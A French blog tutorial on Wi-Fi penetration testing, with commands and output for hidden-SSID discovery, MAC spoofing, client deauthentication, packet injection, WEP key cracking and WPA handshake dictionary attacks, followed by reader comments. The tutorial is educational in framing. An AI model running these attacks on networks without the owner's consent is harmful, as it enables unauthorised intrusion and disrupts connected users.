Pen Test Wifi

Dans cet article nous allons voir ensemble comme effectuer un Pen Test sur un réseau Wifi.

Nous verrons comment découvrir un réseau dont le SSID est masqué. Nous verrons aussi comment outrepasser un filtrage par adresse MAC.

Mais surtout, nous verrons comment infiltrer un réseau protégé par WEP.

Nous aborderons aussi la question du WPA.

 

1) Introduction

 

Cet article a pour but de mettre à l’épreuve les sécurités d’un réseau Wifi.

Il est bien sûr interdit de réaliser un Pen Test sur le réseau d’une personne n’ayant pas donné son accord.

 

Les manipulations suivantes seront réalisées sous Kali.

Néanmoins, les outils nécessaires sont disponibles sous d’autres distributions Linux, et sous Windows.

 

2) Préparation de la carte Wifi

 

La première étape consiste à préparer la carte sans fil.

Pour réaliser un Pen Test, il est important que la carte puisse être placée en mode Monitoring.

Cela va permettre de capturer tout le trafic qui circule, même celui qui ne vous est pas destiné.

 

Pour faciliter l’intrusion dans un réseau WEP, il faut que la carte puisse faire de l’injection de paquets.

 

Certaines cartes le permettent, d’autres non.

Dans certains cas il peut être nécessaire de mettre à jour le pilote de la carte.

Une recherche sur internet devrait vous aider.

 

Bien, préparons la carte.

 

Premièrement, lister les cartes Wifi disponibles.

root@kali:~# airmon-ng 

Interface             Chipset                               Driver

wlan0                 Broadcom                           b43 - [phy0]

La carte Wifi que nous allons utiliser est la wlan0.

 

Pour réaliser un Pen Test, il peut être bon de changer l’adresse Mac de sa carte.

Pour cela, commencer par désactiver la carte.

root@kali:~# ifconfig wlan0 down

 

Ensuite, entrer la commande suivante :

root@kali:~# macchanger -r wlan0
Permanent MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
Current   MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
New       MAC: 1a:a1:42:1b:ef:ad (unknown)

 

L’adresse Mac a été changée, et la précédente est gardée en mémoire.

Pour restaurer l’ancienne adresse Mac, la commande est la suivante :

root@kali:~# macchanger -p wlan0

 

Vous pouvez maintenant activer la carte.

root@kali:~# ifconfig wlan0 up

 

Vous pouvez constater le changement comme ceci :

root@kali:~# ifconfig wlan0
wlan0     Link encap:Ethernet  HWaddr 1a:a1:42:1b:ef:ad

 

 

Il faut à présent activer le monitoring sur cette carte.

root@kali:~# airmon-ng start wlan0
Interface       Chipset         Driver
wlan0           Broadcom        b43 - [phy0]
                                (monitor mode enabled on mon0)

 

Nous avons à présent deux cartes :

root@kali:~# airmon-ng

Interface       Chipset         Driver
mon0            Broadcom        b43 - [phy0]
wlan0           Broadcom        b43 - [phy0]

La mon0 est celle qui sert au monitoring.

 

Vous pouvez à présent lancer un scan des réseaux à porté.

root@kali:~# airodump-ng mon0

CH  2 ][ Elapsed: 8 s ]
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:X1:F0  -19       27        0    0  11  54e. WEP  WEP        NetworkLab
XX:XX:XX:XX:X7:46  -47       10        0    0  13  54e  WPA2 CCMP    orange
XX:XX:XX:XX:XD:0D  -56       10        0    0  13  54e. WPA2 CCMP   Livebox
XX:XX:XX:XX:X0:D9  -71       19        0    0   6  54e. WPA2 CCMP     Livebox

 

 

3) Découvrir un SSID masqué

 

Lors-ce qu’un SSID est masqué, le réseau apparait comme ceci dans la liste :

root@kali:~# airodump-ng mon0
CH 11 ][ Elapsed: 8 s ]
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -18       34        0    0  11  54e. WEP  WEP         <length:  1>

 

Mais après quelques temps, lors ce qu’un utilisateur va envoyer un probe, le réseau va apparaitre :

root@kali:~# airodump-ng mon0
CH  11 ][ Elapsed: 16 s ]
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:X1:F0  -19      345        0    0  11  54e. WEP  WEP         NetworkLab

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

XX:XX:XX:XX:X1:F0  XX:XX:XX:XX:X2:59  -28    0 - 1      0      185  NetworkLab

 

S’il y a déjà des clients connectés sur cet AP, vous pouvez en déconnecter un pour le forcer à se reconnecter, et à envoyer une Probe Request.

 

Exemple pour l’utilisateur précédent :

root@kali:~# aireplay-ng -0 1 -a XX:XX:XX:XX:X1:F0 -c XX:XX:XX:XX:X2:59  --ignore-negative-one mon0

 

Voici le détail des options :

  • 0 permet d’envoyer un message de désauthentification
  • 1 correspond au nombre de message de deauth. à envoyer. L’option 0 permet d’en envoyer en continu
  • a permet d’indiquer l’adresse Mac de l’AP
  • c permet d’indiquer l’adresse Mac du client
  • ignore-negative-one est utile si la commande vous retourne une erreur relative au channel (ce qui est mon cas)

 

4) Contourner un filtrage par adresse Mac

 

Si vous connaissez la clé d’accès au réseau, mais que l’AP opère un filtrage par adresse MAC, il est facile de passer outre.

La méthode est simple : usurper l’adresse MAC d’une machine légitime.

 

Commençons donc par lister les machines connectées au réseau.

root@kali:~# airodump-ng -c 11 -a --bssid 00:17:DF:7D:01:F0 mon0
CH 11 ][ Elapsed: 52 s ]
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:X1:F0   -9   6      501      141   11  11  54e. WEP  WEP         NetworkLab

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

XX:XX:XX:XX:X1:F0  XX:XX:XX:XX:X2:59  -28   54e-48e     0       84

 

Nous allons donc usurper l’adresse du client XX:XX:XX:XX:X2:59

 

Avant de faire le changement désactiver le monitoring

root@kali:~# airmon-ng stop wlan0

 

Puis procéder au changement

A présent, vous pouvez accéder au réseau.

Attention tout de même, si deux machines possèdent la même adresse Mac, cela peut causer des problèmes.

Néanmoins, cela devrait être suffisant pour accéder au réseau.

 

root@kali:~# ifconfig wlan0 down

 

root@kali:~# macchanger -m D8:B3:77:CF:A2:59 wlan0
Permanent MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
Current   MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
New       MAC: XX:XX:XX:XX:X2:59 (unknown)

 

root@kali:~# ifconfig wlan0 up

 

N’oubliez pas de rechanger votre adresse Mac une fois terminé.

root@kali:~# macchanger –r wlan0
Permanent MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
Current   MAC: XX:XX:XX:XX:X2:59 (unknown)
New       MAC: d6:6e:63:cc:b0:67 (unknown)

 

5) WEP Pen Test

 

Passons à présent aux choses sérieuses.

 

Voyons comment infiltrer un réseau protégé par WEP.

 

Commençons par activer le monitoring et lister les réseaux disponibles.

root@kali:~# airmon-ng start wlan0
wlan0           Broadcom        b43 - [phy0]
                                (monitor mode enabled on mon0)

 

root@kali:~# airodump-ng mon0
CH  4 ][ Elapsed: 4 s ]

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:X1:F0  -21       23        0    0  11  54e. WEP  WEP         NetworkLab
XX:XX:XX:XX:X7:46  -33       12        0    0  13  54e  WPA2 CCMP   PSK  Livebox
XX:XX:XX:XX:XD:0D  -54        8       31    0  13  54e. WPA2 CCMP   PSK  Livebox

 

Nous constatons qu’il y a un réseau protégé par WEP.

 

Nous allons donc commencer la capture de trafic.

root@kali:~# airodump-ng --write cap-NetworkLab --channel 11 --bssid XX:XX:XX:XX:X1:F0 mon0
CH 11 ][ Elapsed: 40 s ]
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:X1:F0  -12  96      389      110    0  11  54e. WEP  WEP         NetworkLab

Voici le détail des options :

  • wite : fichier dans lequel enregistrer le trafic
  • channel : permet de spécifier le channel sur lequel émet l’AP
  • bssid : adresse Mac de l’AP

 

La capture de trafic est lancée. Ce dernier sera enregistré dans un fichier.

Si ne réseau n’est pas très chargé, la collecte de données peut prendre très longtemps.

 

La quantité de données capturées est indiqué dans la colonne #Data.

Pour une clé de 40 bits, il faudrait atteindre environs 4000 avant de lancer l’attaque.

 

Vous avez donc le choix entre attendre que la quantité de frames capturées monte, ou bien faire de l’injection.

 

Dans une autre console, testons l’injection.

root@kali:~# aireplay-ng -9 mon0
Trying broadcast probe requests...
Injection is working!

 

Si l’injection fonctionne, vous pouvez passer à la suite.

Si l’injection n’est pas possible, il s’agit peut-être simplement d’un problème de driver.

Ou bien votre carte réseau ne supporte pas l’injection.

 

Il faut ensuite s’associer avec l’AP.

root@kali:~# aireplay-ng -1 0 -e NetworkLab -a XX:XX:XX:XX:X1:F0 --ignore-negative-one mon0
No source MAC (-h) specified. Using the device MAC (XX:XX:XX:XX:X2:A5)
Waiting for beacon frame (BSSID: XX:XX:XX:XX:X1:F0) on channel -1

Sending Authentication Request (Open System) [ACK]
Authentication successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)

Voici le détail des options :

  • 1 permet l’authentification
  • 0 indique le nombre de secondes avant de relancer l’authentification
  • e permet de spécifier le SSID
  • a permet de spécifier l’adresse Mac de l’AP
  • ignore-negative-one est nécessaire si la commande retourne une erreur par rapport au channel.

 

Une fois l’association faite, il est possible de lancer l’injection.

root@kali:~# aireplay-ng -3 -e NetworkLab -b XX:XX:XX:XX:X1:F0 --ignore-negative-one mon0

 

Il est possible que l’injection prenne du temps pour se lancer (le temps de capturer une requête ARP).

 

De retour dans  la fenêtre de capture de données, vous pourrez voire que les données capturées augmentent très rapidement.

 

En un peu plus de 2 mins, voici le résultat :

CH 11 ][ Elapsed: 2 mins ]

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -14  85     1369    38981  306  11  54e. WEP  WEP    OPN  NetworkLab

Pour une clé de 40 bits, il y a bien assez de données capturées.

 

Il ne reste plus qu’à découvrir la clé.

root@kali:~# aircrack-ng cap-NetworkLab-01.cap

Read 205401 packets.

   #  BSSID              ESSID                     Encryption

   1  XX:XX:XX:XX:X1:F0 NetworkLab                WEP (39043 IVs)

Choosing first network as target.

Opening cap-NetworkLab-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 39043 ivs.
                        KEY FOUND! [ 01:23:45:67:89 ]
Decrypted correctly: 100%

 

La clé a bien été découverte : 0123456789.

 

Si la quantité de données n’est pas suffisante, le processus va se relancer tous les 5000 IVs.

Quand la clé est découverte, vous pouvez stopper la capture et l’injection de données.

 

Voici donc comment découvrir une clé WEP.

Après cette démonstration, il parait claire que le WEP est très loin d’être fiable !

 

6) WPA / WPA 2 Pen Test

 

Voyons à présent comment infiltrer un réseau WPA.

Comme vous le savez, il n’existe pas d’attaque miracle.

 

Nous allons procéder à une attaque par brut force.

 

Le but est de capturer le Handshake entre un client et l’AP, et de tenter de le déchiffrer.

 

Pour cela il faudra essayer avec des milliers de clés.

 

Commençons donc par identifier le réseau voulu.

root@kali:~# airodump-ng mon0
CH 13 ]

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:X1:F0  -33       93        7    0  11  54e. WPA2 CCMP   PSK  NetworkLab

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

XX:XX:XX:XX:X1:F0  XX:XX:XX:XX:X2:59  -18    0 -54     50       20  NetworkLab

 

Ensuite, il faut lancer la capture de données.

root@kali:~# airodump-ng --write cap-NetworkLab --channel 11 --bssid XX:XX:XX:XX:X1:F0 mon0

 

A présent, il nous faut désauthentifier l’un des clients.

root@kali:~# aireplay-ng -0 1 -a XX:XX:XX:XX:X1:F0 -c XX:XX:XX:XX:X2:59 mon0 --ignore-negative-one

Voici le détail des options :

  • 0 permet d’envoyer un message de désauthentification
  • 1 correspond au nombre de messages de deauth. à envoyer. L’option 0 permet d’en envoyer en continu
  • a permet d’indiquer l’adresse Mac de l’AP
  • c permet d’indiquer l’adresse Mac du client
  • ignore-negative-one est utile si la commande vous retourne une erreur relative au channel (ce qui est mon cas)

 

La capture de donnée devrait indiquer qu’un Handshake a été capturé.

Il est possible que le message ne reste pas affiché.

CH 11 ][ Elapsed: 16 s][ WPA handshake: XX:XX:XX:XX:X2:59

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID 

XX:XX:XX:XX:X1:F0  -29 100      456        6    1  11  54e. WPA2 CCMP   PSK  NetworkLab 

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

XX:XX:XX:XX:X1:F0  XX:XX:XX:XX:X2:59  -10    0 -36     34        2 

 

A présent, il ne nous reste plus qu’à lancer l’attaque par brut force.

Pour cela, il nous faut un dictionnaire contenant des mots de passe.

 

Pour le dictionnaire, vous pouvez utiliser un fichier de liste, ou bien un fichier TXT, etc…

Ce fichier doit contenir une liste de mot. Vous trouverez des dictionnaires en ligne.

root@kali:~# aircrack-ng -w password.txt cap-NetworkLab-02.cap 

                                 Aircrack-ng 1.2 beta2

                   [00:01:46] 147215 keys tested (1405.54 k/s)

                           KEY FOUND! [ NLabPassword ]

 

Au final, l’attaque par dictionnaire ne fonctionne que si le mot de passe est dans le dictionnaire.

C’est pourquoi il est important de choisir un mot de passe fort.

A l’aide d’un mot de passe fort, le WPA reste très sécurisé.

 

Tagués avec : , , ,
Publié dans Wifi
4 commentaires pour “Pen Test Wifi
  1. khalil dit :

    Merci beaucoup

  2. fatima dit :

    merci bcp!!!!

  3. Gedeon dit :

    Bonjour,
    je suis intéressé a tester mon reseau wifi mais je vous savoir sur windows 7 quel est l’équivalent de kali.

    Merci et bien àvous!

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Le temps imparti est dépassé. Merci de saisir de nouveau le CAPTCHA.